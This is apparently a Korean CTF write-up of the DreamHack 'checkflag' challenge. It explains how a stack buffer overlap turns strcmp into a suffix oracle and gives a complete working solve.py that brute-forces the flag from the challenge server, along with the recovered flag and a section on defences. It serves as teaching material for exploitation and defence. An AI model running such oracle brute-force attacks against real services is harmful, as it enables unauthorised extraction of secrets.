문제: DreamHack — checkflag 분류: Pwnable + Reversing 난이도: 🥉 Bronze 3 FLAG:
DH{RHP1_ZPWR2G!}
문제 개요
| 배포물 | checkflag (ELF64 PIE, not stripped, 8,584 B) |
| 서버 | 필요 (needs_vm: true — 진짜 flag 는 원격 파일에만 있다) |
| 핵심 기법 | 스택 버퍼 겹침 → strcmp 를 접미사 일치 오라클로 전환 |
문제 설명은 짧다. 플래그를 입력하면 맞았는지 알려주고, flag 는 DH{...} 형식에 출력 가능한
ASCII(0x20~0x7e)만 쓴다고 한다.
파일로 주는 바이너리에는 진짜 flag 가 없다. 같은 폴더의 flag 파일을 읽어 비교할 뿐이라
로컬에서는 가짜 flag 를 두고 기법만 검증하고, 실제 값은 원격 서버에서 뽑아야 한다.
1. 정찰
배포된 zip 을 풀면 checkflag 하나가 나온다. 먼저 무엇인지부터 본다.
cd extracted
file checkflag && checksec --file=checkflag
PIE 에 not stripped. 심볼이 남아 있어 main 을 바로 찾을 수 있다.
이 문제는 보호 기법을 우회할 필요가 없다. 스택을 넘어 리턴 주소를 덮는 공격이 아니기 때문이다.
read 가 받는 길이도 스택 카나리 앞에서 정확히 끊긴다 — 뒤에서 보겠지만 의도적으로 딱
그만큼만 받는다.
어디부터 볼 것인가
not stripped 라 심볼이 다 남아 있지만, 그렇다고 전부 읽을 필요는 없다. 이런 "입력을 받아 판정만 하는" 바이너리는 어떤 라이브러리 함수를 부르는지만 봐도 구조가 거의 드러난다.
PLT 를 훑으면 fopen · fgets · fclose · fputs · fflush · read · strcmp 가 전부다.
여기서 읽히는 이야기가 있다.
fopen+fgets+fclose→ 파일에서 한 줄을 읽는다. 그게 flag 일 것이다read→ 표준 입력에서 우리 입력을 받는다.fgets가 아니라read인 게 눈에 띈다. 개행에서 끊기지 않고 지정한 길이만큼 통째로 받는다는 뜻이다strcmp→ 문자열 비교 한 번. 판정은 여기서 끝난다
memcmp 도 strncmp 도 아니고 strcmp 라는 점이 중요하다. strcmp 는 NUL 을 만나면 멈춘다.
즉 우리가 입력 어딘가에 NUL 을 심으면 비교 대상의 끝을 우리가 정할 수 있다. 이 성질이 뒤에서
오라클을 만드는 재료가 된다.
2. main 이 메모리를 어떻게 쓰는가
objdump 로 main 앞부분을 본다. 눈으로 따라가기 어려워서 핵심 세 줄에는 sed 로 주석을
얹었다(annotate_main.sed). 디스어셈블 원문은 objdump 출력 그대로고, ; 뒤가 내가 붙인 것이다.
s|mov rbx,rsp$|& ; rbx = 입력 버퍼 (rsp+0x00)|
s|rep stos DWORD PTR \[rdi\],eax|& ; 0xc8 바이트 전부 0 으로|
s|lea rbp,\[rbx+0x40\]$|& ; ★rbp = flag 버퍼 = 입력 버퍼 + 0x40|objdump -d -M intel --start-address=0x7f7 --stop-address=0x830 extracted/checkflag \
| sed -n '8,26p' | sed -f annotate_main.sed
세 줄이 전부다.
mov rbx, rsp ; rbx = 스택 버퍼 시작
rep stos DWORD PTR [rdi] ; 0xc8 바이트를 0 으로 밀고
lea rbp, [rbx+0x40] ; rbp = rbx + 0x40그리고 fopen("flag","r") → fgets(rbp, 0x40, f) 로 flag 를 rbx+0x40 에 적재한다.
이제 입력을 받는 쪽을 본다.

mov edx, 0xc8 ; 200 바이트까지 받는다
mov rsi, rbx ; 목적지는 rbx — flag 버퍼보다 0x40 앞
call read
repnz scas ; strlen(flag 버퍼)
cmp rax, rdx ; 입력 길이보다 길면 Failed
call strcmp ; strcmp(rbx, rbp)두 버퍼가 같은 200바이트 영역을 0x40 간격으로 공유한다. 그런데 입력은 0x40 을 훌쩍 넘는 0xc8 바이트까지 받는다. 즉 0x40 바이트를 넘겨 보내면 그 뒤는 flag 위에 쓰인다.
fgets 가 최대 0x40 바이트를 읽으므로 flag 는 rbx+0x40 ~ rbx+0x7f 를 쓰고,
입력은 rbx+0x00 ~ rbx+0xc7 을 쓴다. 겹치는 구간이 flag 전체다.
그림으로 놓으면 이렇다.
rbx+0x00 rbx+0x40 rbx+0x7f rbx+0xc8
| | | |
입력 read [=======================|=======================|=============] 0xc8 바이트
flag fgets [=======================] 0x40 바이트
↑
여기부터 우리가 덮어쓸 수 있다read 가 rbx 부터 채우므로 0x40 번째 바이트부터가 곧 flag 의 첫 글자 자리다.
0x40 바이트만 보내면 flag 는 멀쩡하고, 0x41 바이트를 보내면 flag 첫 글자가 바뀐다.
정말 겹치는지 gdb 로 확인
디스어셈블리만 보고 "겹친다"고 단정하고 싶지는 않았다. main 안의 strcmp 호출 지점에
브레이크를 걸고 두 인자의 주소를 직접 찍었다. 입력으로는 d=4 짜리 페이로드
('A'*4 + "GUESS" + NUL 패딩 + 'A'*4, 총 0x44 바이트)를 넣었다.
먼저 그 입력을 파일로 만든다. read 로 받으므로 리다이렉트로 먹이면 된다.
python3 -c "
import sys
d = 4
p = b'A'*d + b'GUESS'
p = p + b'\x00'*(0x40 - len(p)) + b'A'*d
sys.stdout.buffer.write(p)" > payload_d4.bincmds.gdb 는 이렇게 썼다. 출력에 보이는 한글 줄은 전부 아래 printf 가 찍는 것이다 —
gdb 가 알아서 해 주는 게 아니라 내가 읽기 편하라고 라벨을 붙인 것이다.
set pagination off
set confirm off
break *(main+0xbd)
run < payload_d4.bin
printf "\n=== main 안 strcmp 호출 직전 ===\n"
printf "arg1 rdi (입력 버퍼) = %p\n", $rdi
printf "arg2 rsi (flag 버퍼) = %p\n", $rsi
printf "간격 rsi - rdi = 0x%lx <-- 0x40 이면 겹침 확정\n", (unsigned long)$rsi-(unsigned long)$rdi
printf "입력 버퍼 내용 = %s\n", (char *)$rdi
printf "flag 버퍼 내용 = %s <-- 앞 4바이트가 A 로 덮였다\n", (char *)$rsi
quitmain+0xbd 는 strcmp 호출 직전 명령의 오프셋이다. PIE 라 절대주소가 실행마다 바뀌므로
숫자를 그대로 믿지 말고 objdump -d extracted/checkflag 에서 call ... <strcmp@plt> 바로 앞
명령의 main 기준 오프셋을 직접 확인해 넣는다. *(main+오프셋) 으로 잡으면 로드 베이스는
gdb 가 더해 준다.
cd local && gdb -q -batch -x cmds.gdb ./checkflag 2>&1 | tail -11
arg1 rdi (입력 버퍼) = 0x7fffffffd5d0
arg2 rsi (flag 버퍼) = 0x7fffffffd610
간격 rsi - rdi = 0x40
입력 버퍼 내용 = AAAAGUESS
flag 버퍼 내용 = AAAA0cal_t3st_fl4g_for_checkflag_5678}가짜 flag 는 원래 DH{l0cal_t3st_... 인데, 앞 4글자 DH{l 이 내가 보낸 AAAA 로 바뀌어 있다.
겹침이 실측으로 확인됐다.
read 가 왜 하필 0xc8 인가
이 숫자를 그냥 넘기지 않는 게 좋다. main 프롤로그를 보면 sub rsp, 0xd0 으로 208바이트를 잡고,
mov QWORD PTR [rsp+0xc8], rax 로 rsp+0xc8 에 스택 카나리를 넣는다. 그리고
rep stos 가 미는 범위도, read 가 받는 길이도 정확히 0xc8 이다.

즉 이 프로그램은 카나리 직전까지 꽉 채워 받되 카나리는 건드리지 않도록 설계돼 있다. 리턴 주소를 덮는 고전적인 스택 오버플로우는 처음부터 막혀 있다는 뜻이고, 출제자가 "이쪽이 아니라 다른 걸 보라"고 선을 그어 둔 셈이다.
그래서 이 문제의 답은 경계를 넘는 것이 아니라 경계 안에서 두 버퍼가 겹치는 것이다. 받을 수 있는 200바이트는 전부 합법적인 입력 영역인데, 그 안에 flag 가 같이 살고 있다.
3. strcmp 를 오라클로 바꾸기
여기서 한 걸음 더 나가야 한다. 겹친다는 것만으로는 flag 를 읽을 수 없다. strcmp 는 같다/다르다
한 비트만 알려주기 때문이다. 그 한 비트로 무엇을 물어볼 수 있는지가 관건이다.
0x40 + d 바이트를 보낸다고 하자. 뒤쪽 d 바이트가 flag 앞머리를 덮으므로, strcmp 가 비교하는
두 문자열은 이렇게 된다.
| 내용 | |
|---|---|
| 좌변 (입력 버퍼) | 내가 보낸 앞부분에서 첫 NUL 앞까지 |
| 우변 (flag 버퍼) | K + flag[d:] — 여기서 K 는 내가 덮은 d 바이트 |
우변의 K 는 내가 정한 값이라 이미 안다. 그러니 좌변을 K + 추측 으로 만들고 NUL 로 끊으면,
strcmp 의 결과는 곧 "flag[d:] 가 내 추측과 같은가?" 가 된다.
d 를 크게 잡을수록 남는 꼬리가 짧아지므로, 뒤에서부터 한 글자씩 좁혀 나갈 수 있다.
정말 그런지 서버 없이 확인하고 싶어서, 페이로드와 그때의 두 문자열을 그대로 찍는 스크립트를
따로 만들었다. tools_oracle_demo.py 전문이다 — 아래 출력의 한글은 전부 이 print 가 찍는다.
#!/usr/bin/env python3
"""오라클이 왜 성립하는지 페이로드를 직접 찍어 본다."""
BUF = 0x40
def build(d, guess):
K = b"A" * d # flag 앞 d바이트를 덮을 알려진 바이트
A = K + guess # strcmp 좌변에 놓을 기대 문자열
head = A + b"\x00" * (BUF - len(A)) # NUL 로 끊는다
return head + K # 총 0x40 + d
flag = b"DH{ABCDEF}" # 설명용 가짜 flag
for d in (0, 3, 7):
p = build(d, b"?")
left = p[:p.index(b"\x00")] # strcmp 좌변
right = b"A" * d + flag[d:] # 덮인 뒤의 flag 버퍼
print(f"d={d} 보낸길이={len(p):3d} 좌변={left!r:14} 우변(flag버퍼)={right!r}")
print(f" → 물어보는 것: flag[{d}:] 가 '?' 인가? 남은 부분={flag[d:]!r}")python3 tools_oracle_demo.py
표로 보면 이렇다. flag 가 DH{ABCDEF} 라고 하자.
d | 보낸 길이 | 좌변(입력) | 우변(flag 버퍼) | 물어보는 것 |
|---|---|---|---|---|
| 0 | 0x40 | ? | DH{ABCDEF} | flag 전체가 ? 인가 |
| 3 | 0x43 | AAA? | AAA{ABCDEF} 의 뒤 → AAA + ABCDEF} | flag[3:] 가 ? 인가 |
| 7 | 0x47 | AAAAAAA? | AAAAAAA + EF} | flag[7:] 가 ? 인가 |
d 를 키우면 물어보는 꼬리가 짧아진다. d = len-1 에서 시작해 마지막 한 글자부터 맞히고,
맞힌 글자를 추측에 이어 붙이면서 d 를 하나씩 줄이면 전체가 복원된다.
길이도 같은 방식으로 얻는다. d 가 flag 길이 이상이면 우변이 K 뿐이 되어, 추측을 빈 문자열로
두면 좌변도 K 라 무조건 일치한다. 그러니 빈 추측이 처음 통과하는 d 가 곧 flag 길이다.
def find_length(io, workers):
"""d >= len(flag) 이면 B 가 K 뿐이라 A 와 같아진다."""
for base in range(0, MAXLEN, workers):
cand = list(range(base, min(base + workers, MAXLEN)))
with ThreadPoolExecutor(max_workers=workers) as ex:
hits = list(ex.map(lambda d: io.ask(build(d, b"")), cand))
for d, ok in zip(cand, hits):
if ok:
return d
raise RuntimeError("길이 판별 실패")한 글자를 확정하려면 최대 95번(0x20~0x7e) 물어봐야 하므로, 후보를 스레드로 병렬 질의하고 flag 에 자주 쓰이는 문자를 앞으로 당겨 탐색 횟수를 줄였다.
CHARSET = bytes([0x0a]) + bytes(range(0x20, 0x7f))
PRIORITY = b"}_{abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\n"
CHARSET = bytes(dict.fromkeys(PRIORITY + CHARSET))0x0a 를 넣어 둔 이유는 뒤에서 설명한다. 문제 설명은 출력 가능한 ASCII 만 쓴다고 했지만,
메모리에 실제로 들어 있는 문자열은 그것과 다를 수 있다.
정말 두 갈래로 갈리는지 라이브 서버에 직접 물어봤다. d=4 에 말도 안 되는 추측을 넣은 것과,
d=12 에 실제 꼬리(2G!})를 넣은 것을 나란히 보낸다.
tools_oracle_channel.py 전문이다. 서버 주소는 자기 인스턴스 것으로 바꿔야 한다.
#!/usr/bin/env python3
"""오라클의 관측 채널이 실제로 두 갈래인지 라이브 서버에 물어본다."""
import socket
HOST, PORT, BUF = "host3.dreamhack.games", 15870, 0x40
def ask(payload: bytes) -> bytes:
s = socket.create_connection((HOST, PORT), timeout=8)
s.recv(64) # "What's the flag? "
s.sendall(payload)
out = b""
while True:
c = s.recv(256)
if not c:
break
out += c
s.close()
return out.strip()
def build(d: int, guess: bytes) -> bytes:
K = b"A" * d
A = K + guess
return A + b"\x00" * (BUF - len(A)) + K
print("d=4 추측 'XXX' →", ask(build(4, b"XXX"))) # flag[4:] 가 XXX 일 리 없다
print("d=12 추측 '2G!}' →", ask(build(12, b"2G!}"))) # flag[12:] 는 실제로 2G!}python3 tools_oracle_channel.py
Failed! 와 Correct! 로 깨끗하게 갈린다. 이 한 비트가 우리가 가진 전부이자, 필요한 전부다.
복원 루프는 이렇게 생겼다. 이미 맞힌 뒷부분 known 앞에 후보 한 글자를 붙여 물어본다.
def leak(io, length, workers, verbose=True) -> bytes:
known = b""
for pos in range(length - 1, -1, -1): # 뒤에서부터
found = None
for base in range(0, len(CHARSET), workers):
cand = CHARSET[base:base + workers]
with ThreadPoolExecutor(max_workers=workers) as ex:
hits = list(ex.map(lambda c: io.ask(build(pos, bytes([c]) + known)), cand))
for c, ok in zip(cand, hits):
if ok:
found = c
break
if found is not None:
break
if found is None:
raise RuntimeError(f"{pos}번째 문자 복원 실패")
known = bytes([found]) + known
return known질의 횟수는 최악의 경우 길이 × 95 다. 원격 16글자면 1,520번인데, 실제로는 우선순위 문자열
덕분에 훨씬 적게 끝난다. 그래도 매 질의가 TCP 연결 한 번이라 병렬화가 필요하다.
워커 8개로 묶어 한 번에 8글자 후보를 동시에 던진다.
4. 로컬 검증
원격에 붙기 전에 가짜 flag 로 기법이 도는지 확인한다. 바이너리가 CWD 의 flag 파일을 열기 때문에
그 파일이 있는 디렉토리에서 실행해야 한다.

뒤에서부터 한 글자씩 자라나는 게 그대로 보인다. 0.8초에 39글자가 나왔다.
🔧 삽질 — 길이가 39 인데 flag 는 38글자였다
로컬 가짜 flag 는 DH{l0cal_t3st_fl4g_for_checkflag_5678} 로 38글자다. 그런데 길이 판별은
39 를 돌려줬고, 복원된 마지막 글자가 \n 이었다.
원인은 fgets 다. fgets 는 개행을 버리지 않고 그대로 남긴다. flag 파일 끝에 개행이
있으면 메모리상 문자열은 DH{...}\n 이 되고, strcmp 는 그 개행까지 포함해 비교한다.
그래서 CHARSET 에 0x0a 를 넣어 뒀다. 이걸 빼먹으면 마지막 한 글자에서 후보가 전부 실패하고
RuntimeError 로 죽는다 — 앞의 38글자를 다 맞혀 놓고 마지막에 막히는 형태라 원인을 찾기도 헷갈린다.
재미있는 건 원격은 39가 아니라 16이 나왔다는 것이다. 서버의 flag 파일에는 끝 개행이 없다.
같은 바이너리라도 파일을 어떻게 만들었느냐에 따라 메모리상 길이가 달라진다.
5. 원격에서 진짜 flag
로컬에서 확정된 페이로드를 그대로 서버에 붙인다. 서비스는 TCP 로 열려 있고 접속하면
What's the flag? 배너를 보낸다. 익스를 붙이기 전에 프로토콜부터 한 줄로 확인했다.
python3 -c "
import socket
s=socket.create_connection((\"host3.dreamhack.games\",15870),timeout=8)
print(\"배너:\", s.recv(64))
s.sendall(b\"test\n\"); print(\"응답:\", s.recv(64)); s.close()"
원격 클래스는 소켓을 열고 배너를 버린 뒤 페이로드를 보내고 응답에 Correct! 가 있는지만 본다.
질의가 수백 번 나가므로 네트워크 오류는 몇 번 재시도한다.
class Remote:
def ask(self, payload: bytes) -> bool:
for _ in range(4): # 네트워크 오류는 재시도
try:
s = socket.create_connection((self.host, self.port), timeout=10)
s.recv(64) # "What's the flag? "
s.sendall(payload)
data = b""
while True:
chunk = s.recv(256)
if not chunk:
break
data += chunk
s.close()
return b"Correct!" in data
except OSError:
continue
raise RuntimeError("연결 실패")돌린 결과다.

[+] 메모리상 flag 문자열 길이 = 16
[15] }
[14] !}
[13] G!}
...
[ 1] H{RHP1_ZPWR2G!}
[ 0] DH{RHP1_ZPWR2G!}
[+] FLAG = DH{RHP1_ZPWR2G!}16초. 로컬 39글자보다 짧아서 더 빨리 끝났다.
제출은 첫 응답이 "오답" 으로 나왔다가 한 번 더 넣으니 정답 처리됐다. 이 사이트에서 종종 겪는 오탐이라, 값을 의심하기 전에 재제출해 보는 편이 낫다.
왜 병렬화가 필요했나
로컬은 프로세스를 새로 띄우는 것뿐이라 39글자가 0.8초에 끝났다. 원격은 다르다.
ask() 한 번이 TCP 연결·배너 수신·전송·응답 수신·종료 전 과정이라 왕복 지연이 그대로 쌓인다.
순차로 돌리면 최악 1,520회 × 왕복시간이 되어 몇 분 단위로 늘어진다. 서버가 접속을 제한하지 않는다는 점을 이용해 워커 8개로 후보를 묶어 던졌더니 16초로 줄었다.
병렬화에서 한 가지 조심할 게 있다. ThreadPoolExecutor.map 은 입력 순서대로 결과를 돌려주므로,
같은 배치에서 여러 후보가 동시에 Correct! 를 받는 상황(이론상 없어야 하지만)이 와도
앞선 후보를 먼저 채택한다. 순서가 뒤섞이지 않으니 결과가 흔들리지 않는다.
실제로 쓴 solve.py 전문
위 캡쳐 두 장(로컬·원격)을 만든 바로 그 파일이다. 앞에서 조각으로 나눠 설명했지만, 조각만 보고 다시 조립하려면 성가시니 통째로 싣는다. 로컬·원격 겸용이다.
#!/usr/bin/env python3
"""checkflag (Dreamhack, Bronze III) — 스택 버퍼 겹침을 이용한 접미사 일치 오라클 flag 추출.
메모리 배치 (main)
rsp+0x00 ... rsp+0xc7 read(0, rsp, 0xc8) 로 우리가 채우는 입력 버퍼(200바이트, 시작 시 전부 0)
rsp+0x40 ... rsp+0x7f fgets(rsp+0x40, 0x40, flag) 로 적재된 flag 문자열
→ 입력이 0x40바이트를 넘으면 flag 앞부분을 우리가 덮어쓴다.
N = 0x40 + d 바이트를 보내면 flag[0:d] 는 우리 바이트 K 로 대체되고 flag[d:] 는 그대로 남는다.
strcmp(rsp+0x00, rsp+0x40) 이 비교하는 두 문자열은
A = (입력 앞 0x40바이트 중 NUL 앞까지)
B = K + flag[d:]
A 를 완전히 통제할 수 있으므로 "flag[d:] == G 인가?" 라는 접미사 일치 오라클이 된다.
→ 뒤에서부터 한 글자씩 복원.
"""
import argparse
import socket
import subprocess
from concurrent.futures import ThreadPoolExecutor
BUF = 0x40 # 입력 버퍼 시작 ~ flag 버퍼 시작까지의 거리
MAXLEN = 0x40 # fgets 최대 길이
# fgets 는 개행을 그대로 남기므로 0x0a 도 후보에 넣는다. 나머지는 문제 설명의 0x20~0x7e.
CHARSET = bytes([0x0a]) + bytes(range(0x20, 0x7f))
# flag 에서 자주 쓰이는 문자를 앞으로 (탐색 횟수 절약)
PRIORITY = b"}_{abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\n"
CHARSET = bytes(dict.fromkeys(PRIORITY + CHARSET))
def build(d: int, guess: bytes) -> bytes:
"""flag[d:] == guess 를 물어보는 페이로드."""
K = b"A" * d # flag 앞 d바이트를 덮어쓸 알려진 바이트
A = K + guess # strcmp 좌변에 놓을 기대 문자열
assert len(A) < BUF, f"A too long: {len(A)}"
head = A + b"\x00" * (BUF - len(A)) # NUL 로 끊어 A 를 확정, 나머지는 0
return head + K # 총 0x40 + d 바이트
class Local:
def __init__(self, path):
self.path = path
def ask(self, payload: bytes) -> bool:
p = subprocess.run([self.path], input=payload,
stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)
return b"Correct!" in p.stdout
class Remote:
def __init__(self, host, port):
self.host, self.port = host, port
def ask(self, payload: bytes) -> bool:
for _ in range(4): # 네트워크 오류는 재시도
try:
s = socket.create_connection((self.host, self.port), timeout=10)
s.settimeout(10)
s.recv(64) # "What's the flag? "
s.sendall(payload)
data = b""
while True:
chunk = s.recv(256)
if not chunk:
break
data += chunk
s.close()
return b"Correct!" in data
except OSError:
continue
raise RuntimeError("연결 실패")
def find_length(io, workers) -> int:
"""d >= len(flag) 이면 B 가 K 뿐이라 A 와 같아진다 → 처음 Correct 나오는 d 가 곧 길이."""
for base in range(0, MAXLEN, workers):
cand = list(range(base, min(base + workers, MAXLEN)))
with ThreadPoolExecutor(max_workers=workers) as ex:
hits = list(ex.map(lambda d: io.ask(build(d, b"")), cand))
for d, ok in zip(cand, hits):
if ok:
return d
raise RuntimeError("길이 판별 실패")
def leak(io, length, workers, verbose=True) -> bytes:
known = b""
for pos in range(length - 1, -1, -1):
found = None
for base in range(0, len(CHARSET), workers):
cand = CHARSET[base:base + workers]
with ThreadPoolExecutor(max_workers=workers) as ex:
hits = list(ex.map(lambda c: io.ask(build(pos, bytes([c]) + known)), cand))
for c, ok in zip(cand, hits):
if ok:
found = c
break
if found is not None:
break
if found is None:
raise RuntimeError(f"{pos}번째 문자 복원 실패")
known = bytes([found]) + known
if verbose:
shown = known.replace(b"\n", b"\\n").decode("latin1")
print(f" [{pos:2d}] {shown}", flush=True)
return known
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--local", metavar="BIN", help="로컬 바이너리 경로로 검증")
ap.add_argument("--remote", metavar="HOST:PORT", help="원격 서비스")
ap.add_argument("--workers", type=int, default=8)
args = ap.parse_args()
if args.local:
io, workers = Local(args.local), args.workers
else:
host, port = args.remote.rsplit(":", 1)
io, workers = Remote(host, int(port)), args.workers
length = find_length(io, workers)
print(f"[+] 메모리상 flag 문자열 길이 = {length}")
flag = leak(io, length, workers)
print(f"[+] FLAG = {flag.decode('latin1').strip()}")
if __name__ == "__main__":
main()실행은 이렇게 한다. 로컬은 반드시 local/ 안에서 돌려야 한다 — 바이너리가 CWD 의
flag 파일을 열기 때문에, 밖에서 돌리면 fopen 이 NULL 을 받아 조기 종료하고
"길이 판별 실패" 만 난다. 기본값이 곧 실패값인 셈이라 처음에 여기서 한 번 헤맸다.
cd local && python3 ../solve.py --local ./checkflag # 가짜 flag 로 기법 검증
python3 solve.py --remote host3.dreamhack.games:15870 --workers 8 # 라이브6. 왜 이 구조가 취약한가
문제를 떠나 코드 관점에서 정리해 둔다.
같은 버퍼를 두 용도로 쓰면 안 된다. 이 프로그램의 실수는 딱 하나, 비밀(flag)과
신뢰할 수 없는 입력을 인접한 같은 스택 영역에 놓은 것이다. char buf[200] 하나를 잡아
앞은 입력, +0x40 부터는 flag 로 쓰는 식이면 정확히 이 코드가 된다. 비밀은 별도 버퍼에,
가능하면 입력 버퍼와 멀리 떨어뜨려야 한다.
입력 길이는 "받을 수 있는 최대"가 아니라 "받아야 하는 최대"로 잡는다. flag 가 최대 0x40
바이트인데 입력을 0xc8 바이트나 받을 이유가 없다. read(0, buf, 0x40) 이었다면 겹침 자체가
성립하지 않는다.
비교 결과 한 비트도 정보다. 이 문제에는 리크가 없다. Correct! / Failed 두 갈래뿐인데,
그 한 비트를 내가 통제하는 조건 아래에서 반복 질의할 수 있었기 때문에 flag 전체가 새어 나왔다.
비밀번호·토큰 비교에서 시도 횟수 제한이나 상수 시간 비교(hmac.compare_digest 류)를 두는 이유가
이것이다. 이 서버는 접속 제한도, 시도 횟수 제한도 없었다.
이건 사이드채널이다. 타이밍이나 전력 같은 물리량이 아니라 프로그램이 스스로 뱉는 성공/실패 한 비트를 쓴다는 점만 다르지, 구조는 똑같다. 비밀을 직접 읽지 않고 비밀에 의존하는 관측 가능한 값을 반복해서 모아 복원한다.
같은 형태를 실무에서 자주 만난다.
| 이름 | 관측하는 것 | 복원하는 것 |
|---|---|---|
| 패딩 오라클 | 복호 성공/패딩 오류 | 암호문 평문 |
| 블라인드 SQL 인젝션 | 참/거짓 응답 차이 | DB 내용 |
| 타이밍 공격 | 비교에 걸린 시간 | 비밀번호·토큰 |
| 이 문제 | Correct!/Failed | flag |
방어도 같은 계열이다. 비밀이 관측값에 영향을 주는 경로를 끊거나, 관측 횟수를 제한한다. 전자가 상수 시간 비교이고 후자가 시도 횟수 제한이다. 이 서버는 둘 다 없었다.
길이 검사가 방어가 되지 못했다. strlen(flag) > 입력길이 면 Failed 로 끊는 코드가 있는데,
우리는 항상 flag 보다 긴 0x40+d 를 보내므로 한 번도 걸리지 않는다. 방어처럼 보이지만 공격 경로를
전혀 막지 못하는 검사다.
7. 이번에 배운 것
"리크가 없다"와 "정보가 없다"는 다르다. 처음 이 문제를 봤을 때 든 생각은 "출력이 두 갈래뿐인데 뭘 할 수 있나" 였다. 그런데 그 한 비트를 내가 조건을 통제하면서 반복해 물어볼 수 있다면 얘기가 달라진다. 출력 채널의 폭이 아니라 질의 횟수 × 통제 가능성이 실제 정보량을 정한다.
정적 분석의 결론은 런타임으로 한 번 받아 본다. lea rbp,[rbx+0x40] 을 보고 "겹치겠네"
하는 것과, gdb 로 rsi-rdi = 0x40 을 찍고 flag 앞 4바이트가 실제로 AAAA 로 바뀐 걸 보는 것은
확신의 무게가 다르다. 익스를 짜기 전에 30초면 되는 확인이고, 틀렸다면 거기서 멈출 수 있다.
메모리에 있는 문자열은 파일 내용과 다르다. fgets 의 개행 하나 때문에 로컬은 39,
원격은 16이 나왔다. 문제 설명이 "출력 가능한 ASCII"라고 했어도 그건 flag 값의 이야기지
메모리에 적재된 문자열의 이야기가 아니다. 이런 종류의 문제에서는 후보 문자셋을
설명보다 한 칸 넓게 잡아 두는 편이 안전하다.
정리
main이 입력 버퍼(rsp)와 flag 버퍼(rsp+0x40)를 같은 200바이트 스택 영역에 놓는다read는0xc8바이트를 받으므로0x40+d를 보내면 flag 앞d글자가 내 바이트로 덮인다- 덮은 값을 아는 상태의
strcmp는 "flag 의 남은 뒷부분이 이거 맞아?" 오라클이 된다 - 빈 추측이 처음 통과하는
d가 곧 메모리상 flag 길이 (로컬 39 / 원격 16) fgets는 개행을 남긴다 — CHARSET 에0x0a를 넣어 두지 않으면 마지막 글자에서 막힌다
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…